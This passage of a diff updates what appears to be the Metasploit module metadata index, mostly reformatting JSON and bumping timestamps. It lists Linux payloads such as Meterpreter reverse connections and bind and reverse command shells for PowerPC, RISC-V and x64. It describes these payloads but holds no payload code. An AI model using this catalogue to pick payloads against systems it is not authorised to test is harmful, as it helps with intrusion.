"Linux", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/ppc/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244847,9 +246048,7 @@ "payload_linux/ppc/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/ppc/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244859,24 +246058,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/ppc/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244885,9 +246081,7 @@ "payload_linux/ppc/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/ppc/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244897,24 +246091,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244923,9 +246114,7 @@ "payload_linux/ppc/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/ppc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244933,24 +246122,21 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc, cbea", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-19 12:13:55 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244959,9 +246145,7 @@ "payload_linux/ppc/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", "fullname": "payload/linux/ppc/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244969,24 +246153,21 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc, cbea", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-19 12:13:55 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_find_port.rb", "is_install_path": true, "ref_name": "linux/ppc/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244995,9 +246176,7 @@ "payload_linux/ppc/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/ppc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245005,24 +246184,21 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc, cbea", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-19 12:13:55 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245031,9 +246207,7 @@ "payload_linux/ppc64/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/ppc64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245041,24 +246215,21 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-02-19 17:57:39 +0000", + "mod_time": "2025-02-26 10:08:53 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245067,9 +246238,7 @@ "payload_linux/ppc64/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", "fullname": "payload/linux/ppc64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245077,24 +246246,21 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-02-19 17:57:39 +0000", + "mod_time": "2025-02-26 10:08:53 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_find_port.rb", "is_install_path": true, "ref_name": "linux/ppc64/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245103,9 +246269,7 @@ "payload_linux/ppc64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/ppc64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245113,24 +246277,21 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-02-19 17:57:39 +0000", + "mod_time": "2025-02-26 10:08:53 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245139,9 +246300,7 @@ "payload_linux/ppc64le/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/ppc64le/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245151,24 +246310,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64le", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/ppc64le/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245177,9 +246333,7 @@ "payload_linux/ppc64le/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/ppc64le/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245189,24 +246343,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64le", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/ppc64le/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245215,9 +246366,7 @@ "payload_linux/ppc64le/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/ppc64le/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245227,24 +246376,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64le", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/ppc64le/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245253,9 +246399,7 @@ "payload_linux/ppce500v2/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/ppce500v2/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245265,24 +246409,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppce500v2", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/ppce500v2/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245291,9 +246432,7 @@ "payload_linux/ppce500v2/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/ppce500v2/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245303,24 +246442,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppce500v2", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/ppce500v2/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245329,9 +246465,7 @@ "payload_linux/ppce500v2/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/ppce500v2/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245341,24 +246475,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppce500v2", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/ppce500v2/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245367,9 +246498,7 @@ "payload_linux/riscv32le/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/riscv32le/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245395,8 +246524,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245405,9 +246533,7 @@ "payload_linux/riscv32le/reboot": { "name": "Linux Reboot", "fullname": "payload/linux/riscv32le/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245415,9 +246541,7 @@ "bcoles " ], "description": "A very small shellcode for rebooting the system using\n the reboot syscall. This payload is sometimes helpful\n for testing purposes.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "riscv32le", "rport": null, @@ -245431,8 +246555,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245441,9 +246564,7 @@ "payload_linux/riscv64le/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/riscv64le/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245469,8 +246590,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245479,9 +246599,7 @@ "payload_linux/riscv64le/reboot": { "name": "Linux Reboot", "fullname": "payload/linux/riscv64le/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245489,9 +246607,7 @@ "bcoles " ], "description": "A very small shellcode for rebooting the system using\n the reboot syscall. This payload is sometimes helpful\n for testing purposes.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "riscv64le", "rport": null, @@ -245505,8 +246621,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245515,9 +246630,7 @@ "payload_linux/x64/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245526,24 +246639,21 @@ "Geyslan G. Bem " ], "description": "Execute an arbitrary command or just a /bin/sh shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/exec.rb", "is_install_path": true, "ref_name": "linux/x64/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245552,9 +246662,7 @@ "payload_linux/x64/meterpreter/bind_tcp": { "name": "Linux Mettle x64, Bind TCP Stager", "fullname": "payload/linux/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245563,24 +246671,21 @@ "ricky" ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245591,9 +246696,7 @@ "payload_linux/x64/meterpreter/reverse_sctp": { "name": "Linux Mettle x64, Reverse SCTP Stager", "fullname": "payload/linux/x64/meterpreter/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245602,9 +246705,7 @@ "RageLtMan " ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x64", "rport": null, @@ -245618,8 +246719,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245630,9 +246730,7 @@ "payload_linux/x64/meterpreter/reverse_tcp": { "name": "Linux Mettle x64, Reverse TCP Stager", "fullname": "payload/linux/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245642,24 +246740,21 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-20 04:15:41 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245670,9 +246765,7 @@ "payload_linux/x64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245682,24 +246775,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245708,9 +246798,7 @@ "payload_linux/x64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245720,24 +246808,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245746,9 +246831,7 @@ "payload_linux/x64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245758,24 +246841,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245784,9 +246864,7 @@ "payload_linux/x64/pingback_bind_tcp": { "name": "Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/linux/x64/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245794,24 +246872,21 @@ "bwatters-r7" ], "description": "Accept a connection from attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245820,9 +246895,7 @@ "payload_linux/x64/pingback_reverse_tcp": { "name": "Linux x64 Pingback, Reverse TCP Inline", "fullname": "payload/linux/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245830,24 +246903,52 @@ "bwatters-r7" ], "description": "Connect back to attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_linux/x64/set_hostname": { + "name": "Linux Set Hostname", + "fullname": "payload/linux/x64/set_hostname", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Muzaffer Umut ŞAHİN " + ], + "description": "Sets the hostname of the machine.", + "references": [], + "platform": "Linux", + "arch": "x64", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-07-05 15:57:38 +0000", + "path": "/modules/payloads/singles/linux/x64/set_hostname.rb", + "is_install_path": true, + "ref_name": "linux/x64/set_hostname", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245856,9 +246957,7 @@ "payload_linux/x64/shell/bind_tcp": { "name": "Linux Command Shell, Bind TCP Stager", "fullname": "payload/linux/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245866,24 +246965,21 @@ "ricky" ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245894,9 +246990,7 @@ "payload_linux/x64/shell/reverse_sctp": { "name": "Linux Command Shell, Reverse SCTP Stager", "fullname": "payload/linux/x64/shell/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245905,9 +246999,7 @@ "RageLtMan " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245921,8 +247013,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245933,9 +247024,7 @@ "payload_linux/x64/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245944,24 +247033,21 @@ "tkmru" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-20 04:15:41 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245972,9 +247058,7 @@ "payload_linux/x64/shell_bind_ipv6_tcp": { "name": "Linux x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/linux/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245982,24 +247066,21 @@ "epi " ], "description": "Listen for an IPv6 connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246008,9 +247089,7 @@ "payload_linux/x64/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246018,24 +247097,21 @@ "ricky" ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246044,16 +247120,14 @@ "payload_linux/x64/shell_bind_tcp_random_port": { "name": "Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/linux/x64/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Geyslan G. Bem " ], - "description": "Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port_x86_64.asm" ], @@ -246063,15 +247137,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb", "is_install_path": true, "ref_name": "linux/x64/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246080,9 +247153,7 @@ "payload_linux/x64/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", "fullname": "payload/linux/x64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246090,24 +247161,21 @@ "mak" ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/shell_find_port.rb", "is_install_path": true, "ref_name": "linux/x64/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246116,9 +247184,7 @@ "payload_linux/x64/shell_reverse_ipv6_tcp": { "name": "Linux x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/linux/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246126,24 +247192,21 @@ "epi " ], "description": "Connect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, 